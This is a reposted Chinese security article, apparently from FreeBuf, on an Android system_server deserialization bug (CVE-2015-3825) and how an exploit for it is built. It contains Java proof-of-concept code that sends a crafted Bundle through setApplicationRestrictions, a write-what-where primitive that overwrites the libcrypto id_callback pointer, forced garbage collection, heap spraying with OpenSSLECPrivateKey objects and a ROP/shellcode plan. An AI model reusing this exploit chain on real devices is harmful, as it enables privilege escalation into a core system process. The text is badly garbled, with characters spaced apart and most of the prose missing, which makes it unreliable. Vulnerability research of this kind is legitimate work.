[10554] 2016-09-29_Android漏洞CVE-2015-3825分析及exploit实战:从Crash到劫持PC

文档创建者:s7ckTeam
浏览次数:11
最后更新:2025-01-18
2016-09-29_Android漏洞CVE-2015-3825分析及exploit实战:从Crash到劫持PC A n d r o i d C V E - 2 0 1 5 - 3 8 2 5 e x p l o i t C r a s h P C t h o r @ M S 5 0 9 T e a m   F r e e B u f   2 0 1 6 - 0 9 - 2 9 *     t h o r @ M S 5 0 9 T e a m F r e e B u f C V E - 2 0 1 5 - 3 8 2 5 A n d r o i d C V E - 2 0 1 4 - 7 9 1 1 A n d r o i d A n d r o i d A n d r o i d   4 . 3   A n d r o i d   5 . 1 0 × 0 0   C r a s h   P o c C V E - 2 0 1 4 - 7 9 1 1 C V E - 2 0 1 5 - 3 8 2 5 C V E - 2 0 1 4 - 7 9 1 1 P o c C V E - 2 0 1 5 - 3 8 2 5 P o c C V E - 2 0 1 5 - 3 8 2 5 O p e n S S L X 5 0 9 C e r t i f i c a t e B u n d l e s e t A p p l i c a t i o n R e s t r i c t i o n s B u n d l e O p e n S S L X 5 0 9 C e r t i f i c a t e B i n d e r s y s t e m _ s e r v e r : s y s t e m _ s e r v e r G C B i n d e r B u n d l e A V D   A n d r o i d   5 . 0 P o c a d b   l o g c a t c r a s h   l o g : a d d r e s s P C P C 0 × 0 1   p u b l i c   c l a s s   Z p e n S S L X 5 0 9 C e r t i f i c a t e   i m p l e m e n t s   S e r i a l i z a b l e   {             p r i v a t e   s t a t i c   f i n a l   l o n g   s e r i a l V e r s i o n U I D   =   - 8 5 5 0 3 5 0 1 8 5 0 1 4 3 0 8 5 3 8 L ;   / / 5 . 0         p r i v a t e   f i n a l   l o n g   m C o n t e x t ;         p u b l i c   Z p e n S S L X 5 0 9 C e r t i f i c a t e ( l o n g   c t x )   {                 m C o n t e x t   =   c t x ;         } } B u n d l e   b   =   n e w   B u n d l e ( ) ; b . p u t S e r i a l i z a b l e ( " e a t t h i s "   ,   n e w   Z p e n S S L X 5 0 9 C e r t i f i c a t e ( 0 x a a a a a a a a a L ) ) ; b y t e [ ]   d a t a   =   _ d a t a . m a r s h a l l ( ) ; f o r   ( i n t   i   =   0 ;   i < d a t a . l e n g t h - 3 ;   i + + )   { i f   ( d a t a [ i ]   = =   ' Z '   & &   d a t a [ i   +   1 ]   = =   ' p '   & &   d a t a [ i   +   2 ]   = =   ' e '   & &   d a t a [ i   +   3 ]   = =   ' n ' )   {                 d a t a [ i ]   =   ' O ' ;         } } f o r   ( i n t   i = 0 ;   i < 1 0 0 ;   i + + )   {       s e t A p p l i c a t i o n R e s t r i c t i o n s ( c t x . g e t P a c k a g e N a m e ( ) ,   b ,   m e . h a s h C o d e ( ) ) ; }
[ 1 ] [ 2 ] I D A G C O p e n S S L X 5 0 9 C e r t i f i c a t e f i n a l i z e f i n a l i z e n a t i v e X 5 0 9 _ f r e e n a t i v e I D A   a t t a c h s y s t e m _ s e r v e r P o c I D A e x c e p t i o n c r a s h   X 5 0 9 _ f r e e - - - > A S N 1 _ i t e m _ f r e e - - - > A S N 1 _ i t e m _ c o m b i n e _ f r e e - - - > a s n 1 _ d o _ l o c k - - - > C R Y P T O _ a d d _ l o c k L D R   R 0 , [ R 7 ]
R 7 + 0 × 1 0 R 7 L D R   R 0 , [ R 7 ] 访 s y s t e m _ s e r v e r 0 × 0 2   e x p l o i t P C 1 .   e x p l o i t [ 2 ] , , m C o n t e x t s y s t e m _ s e r v e r R 7 m C o n t e x t   +   0 × 1 0 m C o n t e x t 0 x a a a a a a a a , R 7 0 x a a a a a a b a C R Y P T O _ a d d _ l o c k R 0 0 x F F F F F F F F ( - 1 ) , R 6 R 7 A A 3 2 A s y s t e m _ s e r v e r 2 . A 3 2 0 x B B B B B B B B 0 x A A A A A A A A 0 × 1 1 1 1 1 1 1 1 R 7   =   m C o n t e x t   +   0 x 1 0 R 6   =   [ R 7 ]   -   1 S T R   R 6 , [ R 7 ]
1 .   2 .   3 .   1 3 2 4 : 1 .   A 0 × 1 1 A 0 x B B B B B B B B 0 x B B B B B B A A ; 2 .   A + 1 0 × 1 1 A 0 x B B B B B B A A 0 x B B B B A A A A ; 3 .   A + 2 0 × 1 1 A 0 x B B B B A A A A 0 x B B A A A A A A ; 4 .   A + 3 0 × 1 1 A 0 x B B A A A A A A 0 x A A A A A A A A ; A 0 x B B B B B B B B 0 x A A A A A A A A 0 × 4 4 2 3 A S N 1 _ i t e m _ c o m b i n e _ f r e e a s n 1 _ d o _ l o c k 0 , c o d e   p a t h 0 a s n 1 _ c b a s n 1 _ e n c _ f r e e C R Y P T O _ a d d _ l o c k R 6 1 .   0
2 .   [ 1 , 0 x 7 f f f f f f f ] a s n 1 _ c b a s n 1 _ e n c _ f r e e 3 8 2 5 [ 1 ] f r e e 3 .   P C 1 )   P C P C G O T P C s y s t e m _ s e r v e r s o R E L R O ( R e l o c a t i o n   r e a d   o n l y ) , G O T [ 1 ] l i b c r y p t o . s o i d _ c a l l b a c k D a t a i d _ c a l l b a c k P C i d _ c a l l b a c k 1 .   i d _ c a l l b a c k 2 .   i d _ c a l l b a c k I D A C R Y P T O _ T H R E A D I D _ c u r r e n t i d _ c a l l b a c k t h r o w E x c e p t i o n I f N e c e s s a r y - - - > C R Y P T O _ T H R E A D I D _ c u r r e n t - - - > i d _ c a l l b a c k
l i b c r y p t o . s o i d _ c a l l b a c k i d _ c a l l b a c k l i b j a v a c r y p t o . s o l i b j a v a c r y p t o . s o i d _ c a l l b a c k A n d r o i d s o A S L R 7 9 1 1 P o c w r i t e W h a t W h e r e l i b j a v a c r y p t o . s o 0 x A E 3 6 E 0 0 0 i d _ c a l l b a c k c r a s h 线 0 x A E [ 0 x 1 , 0 x 7 F ] c r a s h G 1 _ a d d r R O P g a d g e t P C G 1 _ a d d r [ 0 x 1 , 0 x 7 F ] g a d g e t [ 0 x 1 , 0 x 7 F F F F F F F ] 2 )   i d _ c a l l b a c k i d _ c a l l b a c k s y s t e m _ s e r v e r O p e n S S L E C P r i v a t e K e y b i n d e r s y s t e m _ s e r v e r O p e n S S L E C P r i v a t e K e y i d _ c a l l b a c k _ a d d r e s s   =   l i b c r y p t o _ A d d r e s s   +   0 x 1 0 1 c 3 0 ; i d _ c a l l b a c k _ o r i g i n _ v a l u e   =   l i b j a v a c r y p t o _ A d d r e s s   +   0 x 8 1 2 8   +   1 ; / / w r i t e W h a t W h e r e _ p o s ( g e t B a s e C o n t e x t ( ) ,   i d _ c a l l b a c k _ a d d r e s s ,   i d _ c a l l b a c k _ o r i g i n _ v a l u e ,   G 1 _ a d d r ,   3 ) ; f o r c e G C i n S y s t e m S e r v e r ( g e t B a s e C o n t e x t ( ) ) ; / / 3 w r i t e W h a t W h e r e _ p o s ( g e t B a s e C o n t e x t ( ) ,   i d _ c a l l b a c k _ a d d r e s s ,   i d _ c a l l b a c k _ o r i g i n _ v a l u e ,   G 1 _ a d d r , 0 ) ; w r i t e W h a t W h e r e _ p o s ( g e t B a s e C o n t e x t ( ) ,   i d _ c a l l b a c k _ a d d r e s s ,   i d _ c a l l b a c k _ o r i g i n _ v a l u e ,   G 1 _ a d d r , 1 ) ; w r i t e W h a t W h e r e _ p o s ( g e t B a s e C o n t e x t ( ) ,   i d _ c a l l b a c k _ a d d r e s s ,   i d _ c a l l b a c k _ o r i g i n _ v a l u e ,   G 1 _ a d d r , 2 ) ; f o r c e G C i n S y s t e m S e r v e r ( g e t B a s e C o n t e x t ( ) ) ; O p e n S S L E C P r i v a t e K e y . r e a r d O b j e c t - - > N a t i v e C r y p t o . d 2 i _ P K C S 8 _ P R I V _ K E Y _ I N F O - - > t h r o w E x c e p t i o n I f N e c e s s a r y - - > C R Y P T O _ T H R E A D I D _ c u r r e n t - - > i d _ c a l l b a c k
O p e n S S L E C P r i v a t e K e y s y s t e m _ s e r v e r i d _ c a l l b a c k s e t A p p l i c a t i o n R e s t r i c t i o n s b y t e a p p 便 s y s t e m _ s e r v e r d a t a i d _ c a l l b a c k R O P P C 0 x 7 e 7 e 7 e 7 e R O P   g a d g e t s y s t e m _ s e r v e r 0 x 7 e 7 e 7 e 7 e R O P s h e l l c o d e g a d g e t s y s t e m _ s e r v e r s h e l l c o d e 0 × 0 3   R O P s h e l l c o d e P o c c r a s h P C R O P C l a s s   E C _ c l a z z   =   C l a s s . f o r N a m e ( " c o m . a n d r o i d . o r g . c o n s c r y p t . O p e n S S L E C P r i v a t e K e y " ) ; C l a s s   g r o u p _ c o n t e x t   =   C l a s s . f o r N a m e ( " c o m . a n d r o i d . o r g . c o n s c r y p t . O p e n S S L E C G r o u p C o n t e x t " ) ; C o n s t r u c t o r   E C _ c o n s t r u c t o r   =   E C _ c l a z z . g e t C o n s t r u c t o r ( E C P r i v a t e K e y S p e c . c l a s s ) ; M e t h o d   m _ g e t C u r v e B y N a m e   =   g r o u p _ c o n t e x t . g e t M e t h o d ( " g e t C u r v e B y N a m e " ,   S t r i n g . c l a s s ) ; M e t h o d   m _ g e t E C P a r a m e t e r S p e c   =   g r o u p _ c o n t e x t . g e t M e t h o d ( " g e t E C P a r a m e t e r S p e c " ) ; O b j e c t   o p e n S s l S p e c   =   m _ g e t C u r v e B y N a m e . i n v o k e ( n u l l , " p r i m e 2 5 6 v 1 " ) ; B i g I n t e g e r   s   =   n e w   B i g I n t e g e r ( " 2 2 9 c d b b f 4 8 9 a e a 5 8 4 8 2 8 a 2 6 1 a 2 3 f 9 f f 8 b 0 f 6 6 f 7 c c a c 9 8 b f 2 0 9 6 a b 3 a e e 4 1 4 9 7 c 5 " ,   1 6 ) ; E C P a r a m e t e r S p e c   a r g 1   =   ( E C P a r a m e t e r S p e c ) m _ g e t E C P a r a m e t e r S p e c . i n v o k e ( o p e n S s l S p e c ) ; E C P r i v a t e K e y S p e c   a r g 2   =   n e w   E C P r i v a t e K e y S p e c ( s ,   a r g 1   ) ; O b j e c t   o b j   =   E C _ c o n s t r u c t o r . n e w I n s t a n c e ( a r g 2 ) ; / / O p e n S S L E C P r i v a t e K e y B u n d l e   B u n d l e   b   =   n e w   B u n d l e ( ) ; b . p u t S e r i a l i z a b l e ( " e a t t h i s " ,   ( j a v a . i o . S e r i a l i z a b l e ) o b j ) ; b y t e [ ]   d a t a   =   _ d a t a . m a r s h a l l ( ) ; i n t   i   =   4 1 0 ; d a t a [ i ]   =   0 x 0 ; d a t a [ i + 1 ]   =   0 x 0 ; d a t a [ i + 2 ]   =   0 x 0 ;
s h e l l c o d e R O P s h e l l c o d e e x p l o i t [ 1 ] 0 × 0 4   C V E - 2 0 1 5 - 3 8 2 5 c r a s h P C P o c I D A + A V D I D A x 8 6 使 a r m c r a s h [ 1 ] h t t p s : / / w w w . u s e n i x . o r g / s y s t e m / f i l e s / c o n f e r e n c e / w o o t 1 5 / w o o t 1 5 - p a p e r - p e l e s . p d f [ 2 ] h t t p : / / w w w . d r o i d s e c . c n / o p e n s s l x 5 0 9 c e r t i f i c a t e % E 5 % 8 F % 8 D % E 5 % B A % 8 F % E 5 % 8 8 % 9 7 % E 5 % 8 C % 9 6 % E 6 % B C % 8 F % E 6 % B 4 % 9 E % E F % B C % 8 8 c v e - 2 0 1 5 - 3 8 2 5 % E F % B C % 8 9 % E 6 % 8 8 % 9 0 % E 5 % 9 B % A 0 % E 5 % 8 8 % 8 6 % E 6 % 9 E % 9 0 / [ 3 ] h t t p : / / w w w . f r e e b u f . c o m / n e w s / 7 4 6 7 6 . h t m l [ 4 ] h t t p : / / w w w . d r o i d s e c . c n / % E 5 % 8 6 % 8 D % E 8 % A E % B A c v e - 2 0 1 4 - 7 9 1 1 % E 5 % A E % 8 9 % E 5 % 8 D % 9 3 % E 5 % B A % 8 F % E 5 % 8 8 % 9 7 % E 5 % 8 C % 9 6 % E 6 % B C % 8 F % E 6 % B 4 % 9 E / *     t h o r @ M S 5 0 9 T e a m F r e e B u f  
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则